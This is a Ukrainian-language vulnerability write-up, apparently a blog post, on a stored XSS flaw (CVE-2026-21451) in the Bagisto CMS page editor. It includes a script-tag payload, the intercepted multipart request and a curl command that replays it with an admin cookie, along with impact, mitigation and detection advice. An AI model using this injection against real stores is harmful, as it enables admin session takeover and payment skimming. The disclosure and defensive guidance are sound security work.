Якщо зловмисник може змінити HTTP-запит під час збереження CMS-сторінки, він здатен записати <script> безпосередньо у базу даних. У такому випадку формується типовий сценарій stored XSS: шкідливий JavaScript виконується у браузері адміністратора або користувачів storefront.
Де саме виникає проблема
Вразливість присутня у Bagisto до версії 2.3.10 і проявляється під час роботи з Admin panel → CMS page editor.
Причина полягає у відсутності server-side HTML sanitization. Фільтрація HTML відбувається лише у браузері, тобто виключно у frontend-логіці редактора. Якщо HTTP-запит змінити вручну — наприклад через proxy — бекенд приймає контент без будь-якої перевірки та зберігає його у базі даних.
Фактично це класичне порушення trust boundary: frontend виконує санітизацію контенту, тоді як backend довіряє отриманим даним і не перевіряє їх повторно. У результаті будь-який JavaScript може бути збережений у CMS-контенті.
Починаючи з Bagisto 2.3.10, ця проблема виправлена.
Чому це серйозно
Stored XSS в адмінпанелі — це значно більше, ніж просто alert() у браузері.
Якщо скрипт виконується у контексті адміністратора, він отримує доступ до об’єктів сесії та може взаємодіяти з внутрішніми API адмінпанелі. У типовому сценарії це означає доступ до admin session cookie, CSRF-токенів та адміністративних точок доступу.
Після цього зловмисник фактично може виконувати дії від імені адміністратора. На практиці це дозволяє змінювати каталог товарів або ціни, підмінювати платіжні реквізити, виконувати редіректи на сторонні сторінки або вставляти JavaScript-скімери для збору платіжних даних. У гіршому випадку компрометація магазину призводить до витоку платіжної інформації та фінансових втрат.
Фрагмент payload
Фрагмент payload, який інʼєктується в en[html_content]:
<div class="static-container">
<div class="mb-5">About Us Page Content</div>
<div class="mb-5"> </div>
<div class="mb-5">PoC</div>
</div>
<script>alert('cybercrew.co.jp')</script>HTTP request приклад
HTTP-запит, який видно у Burp Repeater під час перехоплення, містить стандартний multipart/form-data. Нижче наведено лише фрагмент тіла запиту з параметрами, які використовуються у PoC. Повні заголовки (Host, Cookie, CSRF) та точний endpoint для оновлення CMS можуть відрізнятися залежно від інсталяції Bagisto, тому їх потрібно брати без змін із перехопленого запиту.
Content-Disposition: form-data; name="_method"
PUT
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="_locale"
en
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="en[html_content]"
<div class="static-container">
<div class="mb-5">About Us Page Content</div>
<div class="mb-5"> </div>
<div class="mb-5">PoC</div>
</div>
<script>alert('cybercrew.co.jp')</script>
------WebKitFormBoundaryxaC6jl2pRYHpEqhc
Content-Disposition: form-data; name="en[meta_title]"
about usПрактичний PoC через curl
Той самий сценарій можна відтворити через curl, якщо повторити перехоплений HTTP-запит із валідною адміністративною сесією. У цьому випадку необхідно передати cookie адміністратора і, залежно від конфігурації, CSRF-токен. Також потрібно знати точний endpoint, який Bagisto викликає при збереженні CMS-сторінки. Найпростіший спосіб — перехопити запит у Burp і використати його без змін, замінивши лише значення en[html_content] на payload.
Якщо у перехопленому запиті присутній параметр CSRF (зазвичай _token), його потрібно залишити без змін, інакше backend відхилить запит. Приклад такого повторення запиту через curl може виглядати так:
curl -i -s -k "{CMS_UPDATE_URL}" \
-H "Cookie: {ADMIN_COOKIE}" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxaC6jl2pRYHpEqhc" \
--data-binary $'------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="_method"\r
\r
PUT\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="_locale"\r
\r
en\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="en[html_content]"\r
\r
<div class="static-container">\r
<div class="mb-5">About Us Page Content</div>\r
<div class="mb-5"> </div>\r
<div class="mb-5">PoC</div>\r
</div>\r
\r
<script>alert('cybercrew.co.jp')</script>\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc\r
Content-Disposition: form-data; name="en[meta_title]"\r
\r
about us\r
------WebKitFormBoundaryxaC6jl2pRYHpEqhc--\r
'У типовій конфігурації успішне оновлення сторінки повертає HTTP 302 з редіректом назад до /admin/cms. Після цього, якщо відкрити сторінку у storefront (наприклад /page/about-us), injected JavaScript виконається у браузері, і з’явиться alert з рядком "cybercrew.co.jp".
Тимчасові обмеження та виявлення
До встановлення патчу можливі лише тимчасові обмеження. Наприклад, можна обмежити доступ до CMS-редактора або прибрати права на редагування сторінок для більшості ролей. У деяких випадках допомагає правило на рівні WAF або reverse proxy, яке блокує <script> та інші активні HTML/JS конструкції у multipart/form-data, хоча це може створювати false positives. Додатковим захисним шаром може бути Content Security Policy, навіть у режимі report-only, щоб зафіксувати виконання inline-скриптів.
З точки зору виявлення корисно перевіряти CMS-контент на появу рядків на кшталт <script, javascript:, onerror= або onload= з урахуванням можливого encoding або обфускації. У логах можуть бути помітні аномальні зміни CMS-сторінок або нетипові multipartзапити до адміністративних точок доступу. Також індикатором XSS може бути поява несподіваних outbound-запитів зі сторінок CMS, наприклад beacon-запитів до зовнішніх доменів.
Фінальні думки
CVE-2026-21451 — типовий приклад ситуації, коли client-side sanitization сприймається як контроль безпеки. Насправді перевірка, яка не дублюється на сервері, не є захистом.
Єдиний надійний підхід — виконувати server-side sanitization або output encoding, обмежувати права доступу до CMS-функцій та контролювати виконання скриптів через CSP. Першим практичним кроком для власників інсталяцій Bagisto залишається оновлення до версії 2.3.10 або новішої.

Коментарі
Поки що немає коментарів. Будьте першим!
Залишити коментар
Ваша електронна адреса не буде опублікована.